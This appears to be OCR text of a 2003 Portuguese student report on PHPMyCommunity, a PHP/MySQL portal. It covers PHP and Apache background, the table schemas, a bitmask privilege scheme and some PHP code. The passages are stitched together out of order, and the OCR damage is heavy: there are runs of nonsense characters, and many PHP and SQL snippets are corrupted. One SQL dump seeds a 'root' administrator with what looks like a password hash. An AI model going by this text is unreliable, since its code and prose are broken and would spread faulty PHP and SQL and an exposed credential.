93. har quando se trata de criar dom  nios  virtuais  adi    o e remo    o de m  dulos  etc    A configura    o do apache    feita unicamente atrav  s de um  ficheiro  httpd conf    Tal como o PHP  disp  e de uma grande comunidade de utilizadores disposta em prestar ajudar  caso seja necess  rio  O grande sen  o do Apache ser    possivelmente  o seu car  cter    linha de comandos       que  sem desvalorizar as suas qualidades  pode  em alguns casos bloquear os utilizadores menos       experientes   f  g   Apache      Microsoft      Ear   li      AESA         gre  JOK            K         Wo D uD O uo SS e fs I OD AK OD DD a TT O TA S O   t G ed dog et CS O  SD ED ED ED TO  ERRETA EEEE d A 24 A EEE  mm i mi d ei d ei d e d i d sed cdr red   l Edo  Edo do DD Ed  Cd s  Cs  do   tt ks f brag e m habe LA ge fh mg if L     ad ff         az    tt t  tt ett e  trt k  rt e  rt k  rt k  rt    Ilustra    o 2  Partilha do mercado de servidores HTTP desde 09 95 at   09 03       P  gina 14    ISMAI O 2003    2 4 2  MySQL    MySQL  www  mysql org     um verdadeiro servidor de base de dados  Multi utilizador e multi   threaded  consegue gerir v  rios pedidos SQL e v  rias liga    es ao mesmo tempo   MySQL    uma  configura    o cliente servidor que consiste num demon  servi  o     mysqld     SQL  Structured Query  Language     a linguagem de base de dados mais usada no mundo  SQL    uma linguagem estandardizada  que permite o armazenamento  a actualiza    o e o acesso    informa    o  Permite re
94. iado com  administrar  Consoante os privil  gios  ter   no seu menu determinadas   reas de imagens din  micas    identificado para lhe mostrar as componentes sobre as quais ele pode       administra    o  O uso deste tipo de menu  possui vantagens realmente valiosas   ma sumo a   Rs 1 so  uma vez que  j   n  o    preciso digitar o URL no browser  constrangedor para o administrador   nem uma  hiperliga    o vis  vel por todos  ao clicar pede outra identifica    o  ou retorna uma mensagem a informar  que n  o tem privil  gios   P   js po 2 2  Tamb  m deixou de ser necess  rio o uso de protec    o pelo htaccess     que    pouco seguro quando mal    usado  Poderia tornar se num processo complexo a utilizar para um webmaster n  o entendido na mat  ria     3 1 6  Sondagem    Conhecer a opini  o das pessoas que visitam   s p  ginas web era sondagens  unicamente poss  vel atrav  s de envio de e mail directamente ao webmaster  o  O que acha do    que implicava que o visitante possu  sse uma conta de correio electr  nico e RASULI  sondagens      disponibilidade para abrir o seu cliente de e mail  escrever  enviar  etc    no caso    1 Bor  mais simples   Agora  com a implementa    o mais generalizada das sondagens    SERIE  poss  vel em tempo real receber informa    o ou opini  o sobre quem nos visita  ido      P Clique no item para  Esta funcionalidade    t  o importante para o webmaster  que o votar        PHPMyCommunity integra um complexo sistema de sondagens  descrito num    Ilustr
95. id   chave prim  ria      o identificador do contador     hits  valor total das visitas que o site obteve     log  esta tabela armazena todas as visitas  conforme a configura    o  ira guardar um n  mero definido pelo  dono da plataforma na base de dados     rowid   chave prim  ria      o identificador da visita       nico e auto incrementado     P  gina 29    Relat  rio do projecto   PHPMyCommunity    P  gina 30    ip  ip do visitante    host  este campo armazena o nome do computador que realizou a visita   browser  nome do navegador usado para efectuar a visita    language  l  ngua do visitante  valor recuperado segundo dados do navegador   referrer  p  gina de origem  para saber se veio de outra p  gina  link directo etc     page  p  gina a ser vista no momento da visita     tstamp  tempo em segundos deste do 1 de Janeiro 1970     ISMAI   2003    3 3 2  Esquema relacional        forum forum posts       membros ofiline  pedidos grupos    config    regiao useronline    news cnategorins news    poll respostas    poll comentarios I Em  di comentarios    categorias  menu naii       P  gina 31    Relat  rio do projecto   PHPMyCommunity    4  ESTRUTURA DO PHPMYCOMMUNITY    4 1  Index php     Com as configura    es dos servidores web  Apache  IIS   o primeiro ficheiro a ser    chamado       o  index html  neste caso  como se possui o m  dulo PHP instalado e o servidor web devidamente  configurado  podemos definir o primeiro ficheiro como sendo o index php  Com a fun    o include  
96. idades principais do membro    data dia membros offline  dia em que o registo foi conclu  do     data hora membros offline  hora do registo     grupos  Todos os grupos est  o armazenados nesta tabela  inclu  do informa    o dispon  vel na p  gina    descritiva de cada um     P  gina 24    id   chave prim  ria  identificador do grupo    nico e auto incrementado    id grupo  identificador do distrito  relacionando o grupo com uma zona geogr  fica   id admin grupo  identificador do administrador do grupo    nome grupo  este campo armazena o nome do grupo    local grupo  nome da localidade onde est   sedeada o grupo    data dia  dia de funda    o do grupo  editado pelo respons  vel     data mes  m  s de funda    o do grupo  editado pelo respons  vel     data ano  ano de funda    o do grupo  editado pelo respons  vel     website  se dispon  vel  a fun    o deste campo    armazenar o site pessoal do grupo   descricao  conte  do da descri    o do grupo    contactos  conte  do dos contactos do grupo     gfx  caminho completo da raiz da p  gina at   a imagem relativa ao avatar do grupo     ISMAI O 2003    pedidos grupos  qualquer pedido para pertencer a um grupo  seja na inscri    o ou a posteriori  estar    temporariamente nesta tabela  at   o pedido ser aceite ou rejeitado pelo administrador do grupo    id pedido   chave prim  ria  identificador do pedido    nico e auto incrementado    id user pedido  identificador do utilizador que efectuou o pedido    id grupo pedido  identificado
97. instalado ou que n  o o t  m instalado  s  o uma minoria que apesar de representar uma taxa   nfima  dos visitantes  ser   mesmo assim poss  vel usufruir de todas as funcionalidades  Estas duas aplica    es em  Flash s  o unicamente um acr  scimo  uma mais valia para o utilizador  porque existem outras  hiperliga    es para que possa efectuar o login  identifica    o  na p  gina  ou utilizar a p  gina principal de    pesquisa     3 1 5  Menu principal    O menu de uma p  gina  portal ou qualquer denomina    o de um site web    a parte mais  importante  porque ser   o ponto de entrada do s  tio web  No PHPMyCommunity  o menu    uma das  componentes mais vistas  Ele    omnipresente em todo o site  Foi por isso que houve a preocupa    o em  usar uma formata    o clara  simples e funcional    A n  vel t  cnico  fez se uso da biblioteca GD    para a forma    o dos itens do menu  preparando  assim a plataforma  a cria    o do meu menu personalizado  permitindo a elabora    o de uma infinidade de  itens  A cria    o do menu usando esta t  cnica permite que as letras fiquem iguais em todos os sistemas  mas  em contrapartida torna o processamento da p  gina um pouco mais lento  para cada carregamento da    p  gina  o motor PHP tem que processar e criar uma imagem por item  e obriga necessariamente ao      www macromedia com     Cascading style sheet     s  o estilos de formata    o pr  prios para o c  digo HTML     1 Megabyte ou 1MB  poderia caber numa disquete 1 44     Hoje em dia  1
98. isas mundiais   altavista  37 com  yahoo  google e outros  ao abrir uma p  gina fazem a indexa    o do conte  do da  mesma  guardando o caminho completo para chegar ao documento  que por sua vez podem ter caminhos  muitos grandes   ex  www omeusite com  utilizador frames documento topo html   Ao aparecer na    listagem dos motores  s   mostra este documento HTML  n  o apresentando o menu da p  gina  Com os      Os quadros  do ingl  s frames  s  o uma forma de construir p  ginas  onde v  rios documentos HTML s  o chamados  em v  rios s  tios para formarem a apar  ncia final da p  gina    2 A cache de um navegador  Internet Explorer por exemplo     a atribui    o de um certo espa  o em disco para  armazenar a informa    o  imagens  folhas de estilo etc     de p  ginas visualizadas  sendo assim desnecess  rio o    descarregamento    pr  xima visita     P  gina 35    Relat  rio do projecto   PHPMyCommunity    pseudo frames  isto n  o acontece  pois o documento est   sempre no index php que constr  i sempre o  menu principal do site    O c  digo transcrito    um excerto do ficheiro linker php  que exemplifica perfeitamente o  cuidado no tratamento das vari  veis do URI  E    a partir deste ficheiro que    feita toda a constru    o  din  mica do resto do site  No pr  ximo cap  tulo iremos ver quais s  o as funcionalidades  e as suas    componentes administrativas  chamadas a partir do linker php        linker php    e  S Ceri a news  Jencitde tl  o rncliude nokacaias prega   elseif
99. ivo que foi desenvolvido para ser usado por v  rias pessoas ao mesmo tempo     Multi user   A maior parte dos servidores possuem sistemas Unix ou derivados  Linux      URL   Uniform Resource Locator     a designa    o que se d   ao nome de dom  nio de DNS  Exemplo     www  omeusite com    um URL  ver DNS e URN     URI   Uniform Resource Identifier  Morada web de um dado documento dentro de um URL  Exemplo     www omeusite com docs Howto html    um URL dentro de um URL     P  gina 96      NDICE REMISSIVO    3  IE 6 0  q RA RD EEN RS bel  ket 36  A     ES aa Eos E  REAR NR NPR RI RD DR 36  Apache pisando   n  t ste as 6  13  14  15  20 33  AP AME a ER NRP E DRI ED DATE RN 13  B    ackground TD E ssa ara sq 18  84  Brad Bulocr as a o a 14  DOWO a ERR RD ON RR OND NR 12  C    C 7  13  14  19  37  95  96    CEDO E N sa ERA DES    H  T MENTESEN E 37  Caixas de visualizac  o                         ssssssss   22  cate goras  INCA serea e a 30  cate conas MEM Sero pasa a 27  Cold FU l  s 14  computa    o gr  fica 2D                                    46  CONT Ooae RR RNP TER 30  CONLACIOS eaen a E ERES 30  COUNTE zet  se e E a 31  D   dB IE natas a A 13  CCO ana a Da ET 16  dl  29   E   CASYD     T EE E uso cnagagiairaduiizana 11  CAMA E E g  tj  t   gg   be B  J z  sT  N 64  F   Flash rormannen aa 43  FORUNS CAL o oe a 28  LORU POSTS nos RD telek lls 28    ISMAI O 2003    G   E D a aaa a 8  11  19  20  45  46  83  GMP perronen Aa 18  ONU erat 14  15  002 lEs e E E ES  SE RHEZEB   36
100. la  mp        DROP TABLE IF EXISTS mp    CREATE TABLE mp     id    int  32  NOT NULL auto_increment    id_remetente  int  32  NOT NULL default  0     id_destinatario  int  32  NOT NULL default  0       mp assunto varchar  255  NOT NULL default       mp_msg blob NOT NULL      mp data varchar  20  NOT NULL default         mp hora varchar 10  NOT NULL default       mp lida char 1  NOT NULL default  0    PRIMARY KEY   id                nivel      ordem   VALUES     g 20487 O   48  10    1    24  3      912  0    56  2           64  Fo  32  5    6    4     2048  0    2048  0    LLJ      TYPE MyISAM COMMENT  Mensagens privadas entre os utilizadores          t Extraindo dados da tabela mp          E S pe Pa poli pe e e pe po e pe e e pe pa ep a e fe pe Sa e a        Estrutura da tabela news          DROP TABLE IF EXISTS news     CREATE TABLE news     id    int  32  NOT NULL auto_increment      campo nome varchar  200  NOT NULL default         campo email   varchar 200  NOT NULL default         campo sujeito varchar  40  NOT NULL default         campo msg blob NOT NULL      data dia varchar  20  NOT NULL default         data hora varchar 10  NOT NULL default         1d cat news varchar  250  NOT NULL default         news gfx varchar 250  NOT NULL default         news resumo varchar  250  NOT NULL default       visitas int 32  NOT NULL default  1    PRIMARY KEY  ad      TYPE MyISAM             Extraindo dados da tabela  news          P  gina 90    ISMAI O 2003      Estrutura da tabela
101. lada em 18 47  dos servidores  muito    frente da vers  o 4 3 2  segundo      Active Server Page     sistema similar de cria    o de p  ginas din  micas  desenvolvido pela Microsoft      A ZEND     uma empresa fundada pelos criadores do PHP4 e do ZEND 1 0  que est   neste momento    frente do  desenvolvimento do PHP e do motor de ZEND    Engine     Mais informa    es em www zend org      Pode encontrar mais informa    es sobre o desenvolvimento  e o seu c  digo fonte em  http   www  php net downloads php    t Aplication Programming Interfaces  Fornece ao programador uma interface entre a linguagem de programa    o e um  n  vel mais baixo de utilidades e servi  os  A principal tarefa de uma API    a tradu    o de uma lista de par  metros num  formato e a sua interpreta    o para outro     5 Outubro 2003     fonte  News letter www  nexen net     P  gina 12    ISMAI O 2003    lugar   e finalmente em terceiro lugar a 4 2 3  Em Fran  a  36 61  das p  ginas Internet utilizam o PHP  o    que a coloca a 1 61 ponto acima da m  dia mundial que se encontra nos 35      2 4  PHPMyCommunity  PHP   Apache   MySQL  porqu       Esta plataforma foi desenvolvida seguindo a linhagem do software livre  A filosofia GNU  em  grande expans  o  com a apari    o do GNU Linux em 1994  contribui para a apari    o de ferramentas  gratuitas tais como  Emacs  editor de texto   Gimp  editor de editor de imagem   Wine  emulador de  aplica    es Windows   Mozzila  browser Internet   Xwindows  ambiente gr  fic
102. lt          idade    varchar  250  NOT NULL default        site varchar  250  NOT NULL default          assinatura varchar  250  NOT NULL default  O utilizador    mto discreto          ultimo ip varchar  20  NOT NULL default          numero post varchar 250  NOT NULL default  0        nivel  int  8  NOT NULL default  3        localidade    varchar  200  NOT NULL default          id regiao int  100  NOT NULL default  0      id grupo int 32  NOT NULL default  0        recup questao varchar 255  NOT NULL default          recup resposta varchar  255  NOT NULL default              PRIMARY KEY    id     UNIQUE KEY nome    nome     UNIQUE KEY id   id      FULLTEXT KEY avatar  avatar        TYPE MyISAM           Extraindo dados da tabela  login        INSERT INTO login   id   nome   username      password      email  hobbies    icq       msn   avatar   data dia   data hora      Idade   site   assinatura   ultimo ip       numero post      nivel   localidade   id regiao   id grupo   recup guestao       recup resposta     VALUES  1   administrador    root    gaBzVUg5grDbg   tt Ped Veto da  e  gtxz  setrszr  ot roots  TIIZIAZOS O COOSDILF  GOD  TT  Ixbr Entidada  Administrativa lt br gt          0   4095       5  O   N  o poder   recuperar a palavra chave do  Croot     pass       AEE ia non boa Ca CA Dn Dn E Se Meet E Meet E Dn E Dn E DA E DA DM DA DA A          Estrutura da tabela  membros_offline         DROP TABLE IF EXISTS  membros offline     CREATE TABLE  membros_offline      id   
103. ma    Para p  r em funcionamento os privil  gios  os itens do menu tamb  m tinham que possuir n  veis   Um respons  vel dos artigos  ter   no m  nimo  o seguinte c  digo bin  rio  010000000011  1027 em  decimal   Para respeitar a integridade e a seguran  a da administra    o  o menu e toda a parte  administrativa deste item  gest  o dos membros  ter   que ter o c  digo bin  rio 010000000000  1024 em    decimal  para que possam coincidir os dois c  digos bin  rios     C  cigo binario do ucilizadors 0110000000011   C  digo bin  rio do item do menu  010000000000  Resultado da compara    o bin  ria  010000000000    Como corresponde pelo menos 1 bit  ent  o os c  digos coincidem  ou seja o utilizador     respons  vel pela   rea de administra    o a qual ele pretende aceder     Este sistema apresenta uma elevada seguran  a  no que diz respeito aos direitos dos utilizadores  pois  nunca sobrep  e os privil  gios de um administrador ao outro  Ao colocar todos os bits em 1  o respons  vel  das sondagens ficaria ent  o com o seguinte c  digo bin  rio  000000011111  31 em decimal   o que nunca  chega a ser superior ou igual ao c  digo m  nimo do pr  ximo administrador  respons  vel dos produtos    000000100000 ou 32 em decimal  este c  digo representa o privil  gio mais baixo e improv  vel do  administrador dos produtos  na medida em que  n  o integra os direitos do visitante e do utilizador    registado      P  gina 39    Relat  rio do projecto   PHPMyCommunity    5  FUNCIONALIDADES   
104. ma linguagem de programa    o que corre num servidor sob forma de script  ou  seja  n  o    preciso compilar o c  digo para ele funcionar  O script PHP pode ser executado em qualquer  plataforma e pode operar de v  rios modos  modo gr  fico  PHP GTK  para criar aplica    es gr  ficas  modo  consola e modo embebido no documento HTML  referido na da defini    o do www  php net   Neste   ltimo  caso  precisa de correr pelo servidor web que vai recorrer ao motor do PHP para processar o c  digo e  assim retornar lhe a informa    o que  por sua vez  ser   enviada ao cliente     Esta Interac    o cliente   servidor est   dividida em 4 passos     l  O cliente  browser  envia pela Internet   Intranet os pedidos de visualiza    o de uma  p  gina pelo servidor web    2  O servidor vai processar o c  digo HTML   Quando deixa de ser HTML e passa a ser PHP     envia a Informa    o ao m  dulo PHP para que       este   ltimo possa fazer o    parse        processamento  do script  l  Ilustra    o l  Funcionamento do PHP   3  Quando finalizado este passo  o m  dulo    envia o resultado para o servidor   4  E  finalmente  o servidor envia o c  digo completo em formato HTML para o cliente atrav  s da    Internet Intranet  A comunica    o com o PHP foi completamente transparente para o utilizador final     2 2  Hist  ria do PHP    A hist  ria do PHP data de 1994  quando Rasmus Lerdorf concebeu a ideia de um script dentro  do HTML que iria ser processado do lado do servidor   Em 1995  lan  ou a ve
105. mitindo aced   las directamente ou ent  o    dirigir   se    segunda p  gina  listagem de todas as not  cias dentro de uma categoria  Permitindo  assim  ao  utilizador ter a percep    o de tudo o que foi dito sobre o assunto desde o lan  amento do portal       bvio    que as not  cias apagadas do sistemas n  o constar  o nesta listagem      Mario Dominguez    Todas as   ltimas noticias sobre o PHP e afins  PEAR  MING  GD  MySQL et           php GTK    08 2003 az 19 38    PHP STK is an extension for PHP programming language that implements  language bindings for 5TEK  toolkit  It provides an object oriented interface  to GTK  classes and functions and greatly simplifies writing client side  cross platform GUI applications       gt  noticia completa    php 4 3 1    03 2003 as 0032    The PHP Group today announced the details of a serious CGI vulnerability   in PHP version 4 3 0  A security update  PHF 4 3 1  fixes the issue    Everyone running affected version of PHP  as CGI  are encouraged to php  upgrade immediately        gt  noticia completa          Ilustra    o 15     Resultado obtido ap  s ter seleccionado uma categoria de not  cias        A maneira como    apresentada a categoria e as not  cias correspondentes    igual    listagem  efectuada na primeira p  gina  onde    recuperado as ultimas    x    not  cias   uma vez que ambas usam a    fun    o chamada     write noticias  k   nPerPage    func news php     que  como mostra o seguinte c  digo    P  gina 47    Relat  ri
106. ncrement    nome varchar  255  NOT NULL default         descricao text NOT NULL    tipo varchar 15  NOT NULL default      PRIMARY KEY ad      TYPE MyISAM COMMENT  Tabala das categorias dos artigos e dos produtos            Extraindo dados da tabela ap cat          CEEE EEE EEE EEE a ED Ds        Estrutura da tabela  ap_comentarios    tt    DROP TABLE IF EXISTS ap comentarios    CREATE TABLE ap comentarios      id int 32  NOT NULL auto_increment    id ap int 32  NOT NULL default  0       corpo text NOT NULL    owner varchar  200  NOT NULL default         data dia varchar  20  NOT NULL default         data hora varchar  10  NOT NULL default      PRIMARY KEY Mv    TYPE MyISAM COMMENT  Tabela dos comentarios dos produtos e dos artigos             Extraindo dados da tabela ap comentarios          P  gina 84    ISMAI O 2003      Estrutura da tabela    categorias menu          DROP TABLE IF EXISTS categorias menu     CREATE TABLE    categorias menu     id int  32  NOT NULL auto_increment      nivel     varchar 255  NOT NULL default  0       posicao int 32  NOT NULL default  0       nome cat varchar  14  NOT NULL default      PRIMARY KEY  TG      TYPE MyISAM           Extraindo dados da tabela    categorias menu        INSERT INTO    categorias menu   id   nivel      posicao   nome cat   VALUES  54   2   5    admin        45   1   1   menu      59  ES   90  Ta  f  rum     59  TSL  9e    Aus M  L  LAaST  s      Estrutura da tabela    categorias news          DROP TABLE IF EXISTS categ
107. ndo assim  todo o c  digo HTML que possa estar presente  Existem outras formas de  proteger uma p  gina e  tal como foi recomendado pelo orientador  os pedidos SQL s   v  o pesquisar em  campos necess  rios  Assim  quando se pretende o nome de um determinado ID  em vez de escrever  c  digo desta forma     SELECT   FROM login WHERE id  13      temos    SELECT  id  username FROM login WHERE id  13       Poupando recursos    base de dados  visto que   n  o tem tantos campos a procurar  e claro  n  o recolhe a informa    o de outros campos que poderiam ser    vitais  palavra chave por exemplo      4 6  Sistema de privil  gios    Permitir um sistema de administra    o onde os privil  gios dos utilizadores fossem independentes     um desafio muito importante  porque toda a seguran  a dos dados est   em causa  Desenvolveu se um  poderoso sistema de gest  o de privil  gios que representa o n  vel de administra    o de cada um dos  utilizadores    Inicialmente  teve se em mente elaborar os privil  gios hierarquicamente  ou seja  o utilizador  registado tinha o n  vel 1  o gestor de not  cias tinha o n  vel 2  gestor de artigos o n  vel 3  e assim  sucessivamente at   ao administrador final que teria o n  vel 10  Este sistema de normaliza    o de direitos   implica que o gestor de artigos teria privil  gios de administra    o de not  cia  tal como para o resto dos  administradores  Foi ent  o desenvolvido  com a ajuda do Professor Nuno Flores do ISMAIL  um sistema  baseado em bits  ond
108. ndo dados da tabela    regiao          INSERT INTO    regiao   id    2      Braga hp    3   Vila Real      4   Bragan  a     97 POTTO     6   Aveiro       7  8  9       regiao   VALUES  1        Viseu         Guarda         Coimbra      Castelo Branco      Leiria      Santar  m      Portalegre       Lisboa      Set  bal      ro ra    Beja       Faro      Madeira      Acores      Africa      Macau      Brasil        Internacional             Estrutura da tabela  useronline          DROP TABLE IF EXISTS    useronline    CREATE TABLE useronline        timestamp  int  15  NOT NULL default   ip varchar  40  NOT NULL default       FILE varchar 255  NOT NULL default      PRIMARY KEY   timestamp     KEY ao  Ao ds  KEY FILE   FILE      TYPE MyISAM     HO           Extraindo dados da tabela    useronline     P  gina 92    e dos users que ja votaram      regi  es de port         Viana do Castelo       C   AP  NDICE  IMAGENS FINAIS      AIRSOFT portugal      vd    home  noticias  membros  forum   pro dutos  artigos  sondagens  pesquisa  downloads  links   info   log in    n  ticias   membros    Bem vindo ao Ailrsoftportugal com     O projecto 45PT  com tem como objectivo a uni  o de  recursos e informa    es   teis para toda a  comunidade do Airsoft Portugu  s  Este servi  o on   line abrange diversas ferramentas de comunica    o e  conv  vio e a administra    o seccionada  com  in  meros contribuintes seleccionados e espalhados  por todo a pais  transforma este website num a  entidade s
109. nome user  avatar     Sdata dia  Sregisto nome user  data dia l   Ssite Sregisto nome user  site     Sassinatura Sregisto nome user  assinatura     Slocalidade Sregisto nome user  localidade       EFI    5 6  Artigos  produtos  downloads e links    Usando a mesma base para estes quatros m  dulos s  o necess  rios dois ficheiros  ap php  para os  artigos e os produtos  e dl php  download e links   onde o c  digo gerado    semelhante aos dois  A  principal diferen  a reside no primeiro ficheiro que aceita o uso de imagens    A coloca    o destes m  dulos    fulcral para o desenvolvimento de uma comunidade  uma vez que     a principal fonte de conte  do disponibilizada para os seus visitantes  Baseando se nas plataformas  autom  ticas tipo PHP Nuke ou POST Nuke  referidas anteriormente   onde ambas possu  am um sistema  de artigos  produtos  downloads e links  o PHPMyCommunity levou a cabo sistemas similares  constru  dos de ra  z    Apresentando as mesmas funcionalidades     realizada uma listagem das categorias com a sua  descri    o  onde dentro de cada uma est   presente todos os seus itens relativos  Cada objecto possui um    resumo que est   colocado por baixo do t  tulo  Caso existam coment  rios  ser  o colocados depois do    t  tulo     P  gina 71    Relat  rio do projecto   PHPMyCommunity    Cilindros    Folini Malossi  Hebo  Top Performances etca Dos melhores cilindros para estrada  aos melhores para circuito        Polini Evolution Z0cm  5 coment  rios        Polini 
110. nte  id destinatario mp assunto   mp msg mp data  mp hora  mp lida values   Sid remetente      Sid destinatario    S mp assunto    Smp msg     data dia     data hora  0       Sresultado send mp   mysql db query   SMYSQL server bd   Ssgl send mp      5 5  F  rum de conversas     Baseado no f  rum Vbulletim Board   foi analisado o c  digo HTML para depois criar o c  digo  PHP que poderia ter originado este resultado  O f  rum do PHPMyCommunity tem um resultado similar  mas o c  digo PHP foi todo escrito de ra  z  Sendo imposs  vel a an  lise do c  digo fonte  trata se de um  f  rum comercial que  infelizmente  n  o est   dispon  vel na Internet    O f  rum do PHPMyCommunity n  o possui tantas funcionalidades como o Vbulletim Board   porque  primeiro n  o se justifica  e segundo porque foi concebido e desenvolvido para ser t  o completo  como uma p  gina web tradicional  Existem sites na Internet que o adaptaram com m  dulos externos para  que possa suportar uma base de dados de produtos  imagens e outros  ex  http   www fcex   team com forum index php   Baseando se no f  rum original  o PHPEMyCommunity permite a cria    o de  v  rias categorias de f  rum  com uma breve descri    o  e dentro de cada uma  outra quantidade infinita de  f  runs que  por sua vez  s  o constitu  dos por uma infinidade de t  picos e respostas associadas  Os t  picos    2 x a   R  ou threads    e as respostas s   podem ser colocadas por utilizadores identificados     5 5 1  Listagem das categorias    P
111. nto da not  cia    campo msg  armazenando todo o corpo da not  cia    data dia  data da publica    o    data hora  hora da publica    o    id cat news  identificador ligando a not  cia a sua categoria    news gfx  caminho completo da raiz da p  gina at   a imagem relativa a not  cia    news resumo  texto resumido  para dar uma percep    o da not  cia     visitas  valor representativo do n  mero de vez que a not  cia foi lida     categorias news  tabela integrando 5 campos  respons  veis pelo armazenamento das categorias de    not  cias  Cada categoria pode conter uma infinidade de not  cias     P  gina 25    Relat  rio do projecto   PHPMyCommunity    id cat new   chave prim  ria identificador da categoria de not  cia    nico e auto incrementado   categoria news  nome da categoria de not  cia    desc cat news  este campo armazena a descri    o da categoria    id news admin  1d do utilizador relativo ao respons  vel pela publica    o das not  cias     cat news gfx  caminho completo da raiz da p  gina at   a   cone da categoria     useronline  tabela respons  vel por contar o n  mero de utilizadores ligados ao f  rum no momento da sua  visualiza    o   timestamp   chave prim  ria  armazena o tempo em segundos  deste 1 1 1970  dos visitantes   ip  disponibiliza o IP do visitante durante a visualiza    o do f  rum     FILE  campo respons  vel pelo armazenamento do nome do ficheiro a ser lido pelo servidor     poll perguntas  tabela com as perguntas para as sondagens  Contem v  ria
112. ntos  Pode se  no entanto  fechar o projecto terminando todas funcionalidades inicialmente  previstas  n  o esquecendo todos os pequenos problemas que ir  o ser resolvidos com o tempo e    medida  que ir  o surgir  Com a entrega deste documento  ser   terminada a primeira vers  o da plataforma     PHPMyCommunity v1 0     6 1  Objectivos atingidos    Pode se dizer que o grande objectivo concretizado foi  sem d  vida  a assimila    o desta nova  forma de programa    o orientada para a Internet  A cria    o de p  ginas din  micas implica um vasto leque  de conhecimentos que  progressivamente foram assimilados    Em toda a fase do projecto  esteve presente a aprendizagem da sintaxe  melhorias de c  digo   ciclos e muito mais  sempre na   ptica de quem poder   um dia tentar melhorar a plataforma    A n  vel de mat  ria concretizada  s   a integra    o da plataforma com o layout  com a  possibilidade de um futuro sistema de layout din  mico  foi um desafio importante  e que de uma forma  geral foi bem concebido e realizado  Cada um dos m  dulos foi um objectivo a atingir  um por um  foram  escritos sempre com duas perspectivas  optimiza    o e seguran  a    O inconveniente destes objectivos    a exist  ncia de c  digo que pode parecer repetitivo  pois  trata se de c  digo semelhante  mas sempre com alguma diferen  a  Esta redund  ncia    muito encontrada  ao n  vel da seguran  a  onde se repete o c  digo de verifica    es  por exemplo dos privil  gios  ou exist  ncia  de um ID na b
113. ntre outras     Foi colocado no pacote final duas imagens em formato Photoshop    PSD   e em formato JPG e  GIF  para que possam ser utilizadas noutros editores de imagem  Editores como GIMP  Linux   ou Paint    Shop Pro  conseguem igualmente abrir ficheiros do Photoshop     3 1 3  Linha interm  dia    Poderia designar se por atalhos  ou acesso r  pido  Esta linha contem as hiperliga    es para as  componentes consideradas mais importantes  not  cias  membros e f  rum  no   mbito de uma comunidade   Uma pequena aplica    o flash permite colocar uma palavra para pesquisar em todo o site    Segundo o Jakob Nielsen  o logotipo e o bot  o de pesquisa s  o os dois elementos mais  importantes na p  gina inicial  O primeiro identifica o s  tio  o segundo permite lan  ar uma pesquisa no  site  Esta possibilidade    aconselhada pelo Nielsen colocando esta op    o no topo da p  gina  porque  considerada ergon  mica e f  cil de acesso  limitando o trabalho do visitante  O   ltimo   cone no extremo    direito deste menu secund  rio possibilita ao visitante identificar se ou encerrar a sua sec    o     noticias   membros   forum        O Photoshop    uma ferramenta de desenho matricial comercializado pela Adobe  www adobe com  que permite  retocar qualquer tipo de imagem  Este software    um dos mais usados mundialmente nas empresas de design  e ao    n  vel particular     P  gina 17    Relat  rio do projecto   PHPMyCommunity    3 1 4  Identifica    o e mensagens privadas       O sistema 
114. o  e claro a Kernel   c  rebro  do Linux  O Apache    o servidor gratuito  usado em 43  dos servidores mundiais     como j   foi  referido  o PHP e o MySQL s  o tamb  m softwares livres    Estes pequenos projectos tornaram se ao longo dos anos  grandes softwares  valores certos de  seguran  a  fiabilidade e robustez  O Trio  PHP   Apache   MySQL    a melhor combina    o poss  vel para  programar em PHP  porque  apesar de ter sido desenhado para funcionar com uma grande variedade de  servidores web  e servidores de base de dados  foi sem d  vida  optimizado para ter melhores resultados  com o Apache e o MySQL    Em toda a comunidade web  sites espec  ficos com programas completos escritos em PHP     utilizam sempre por defeito este trio que devido   s suas capacidades consegue rivalizar com a Microsoft   Quando se trata de linguagens de programa    o do lado do servidor  ASP JSP Cold Fusion  Python   todas  elas fazem basicamente o mesmo  interagem com uma base de dados relacional  com um sistema de  ficheiro e com um servidor web    Como sugere o livro de Jay Greenspan e Brad Bulger     o que realmente importa    o tempo que se  vai demorar para concretizar aquilo que se precisa  com o m  nimo esfor  o poss  vel    No caso do PHP  foi mesmo essa a vantagem que mais lhe valeu  pois assemelha se a linguagens  muito comuns  C  perl  Java etc    o que proporciona uma enorme fonte de potenciais programadores  PHP  Um dos pontos que lhe permitiu ter esta ascens  o vertiginosa  foi 
115. o do projecto   PHPMyCommunity    PHP  faz uma diferencia    o entre as not  cias com ou sem imagem  Esta demarca    o    realizada atrav  s de    duas fun    es que produzir  o um c  digo HTML diferente  aproveitando ao m  ximo o espa  o           escrevendo noticias por categoria    function write noticias  Sk   nPerPage     include   conitig  papo     Ssql write noticias     select Ta     campo sujeito     campo msg  data dia  data hora     news gfx  id cat news  news resumo from news where id cat news  Sk order by  id limit    SnPerPage      Szesultado wrice noticias  LE      mysql dh query   Sresunltado wrice noticias     while    S id Sregisto write noticias    d       campo_sujeito    registo_write_noticias    Scampo msg Sregisto write noticias  Sdata dia Sregisto write noticias  Sdata hora Sregisto write noticias    Snews gfx Sregisto write noticias       Sid cat news Sregisto write noticias     Sregisto write noticias mysql fetch array  Rise      r      SMYSQOL server bd   sql write noticias     Sresulcado wrice noi eras Ml      cameo s  ujeitov    Peampolmss     ERidara dra       ceara nhora     s      news gix     id cat news      Snews resumo Sregisto write noticias  news resumo       if  Snews gfx         write noticia sem gfx  Sid  Scampo sujeito   Sdata hora   news resumo       else      campo_msg   data_dia     write noticias com gfx  Sid   campo sujeito   campo msg   data dia   Sdata hora   news gfx  Snews resumo       E  finalmente  a terceira p  gina vis  v
116. o simples facto de ser f  cil de  programar e  segundo os autores referidos h   pouco  o PHP tem uma sintaxe superior ao ASP e JSP  Sem  falar do facto do PHP ter uma licen  a GNU  ou seja  trata se de um produto cuja utiliza    o    feita    gratuitamente  o que n  o acontece com o ASP     l A licen  a GNU  toda a sua filosofia  e conceitos de liberdade inform  tica em www gnu org  Reac    es da palestra na    Faculdade de Engenharia da Universidade do Porto pelo criador da licen  a GNU  o Richard Stallman publicado na    Gildot org  http   www gildot org article pl sid 03 10 19 2212245 amp mode thread    Fonte  www apache org     3 Sites como  www  hotscripts com  http   www  phpapps org  ou http   php resourceindex com     MySQL PHP Database Applications     Edi    es M amp T Books  ebook version     P  gina 13    Relat  rio do projecto   PHPMyCommunity    2 4 1  Apache    O servidor http Apache    um projecto de    Apache Software Foundation     www  apache org   iniciado em Mar  o 1995  Disp  e de in  meras vantagens  tais como  f  cil de usar  modular  r  pido  em  constantes melhorias  dispon  vel em v  rios sistemas operativos e  acima de tudo gratuito    Desde 1995 conhece um franco sucesso  e hoje    l  der deste tipo de servi  o com 63  do  mercado mundial  ver ilustra    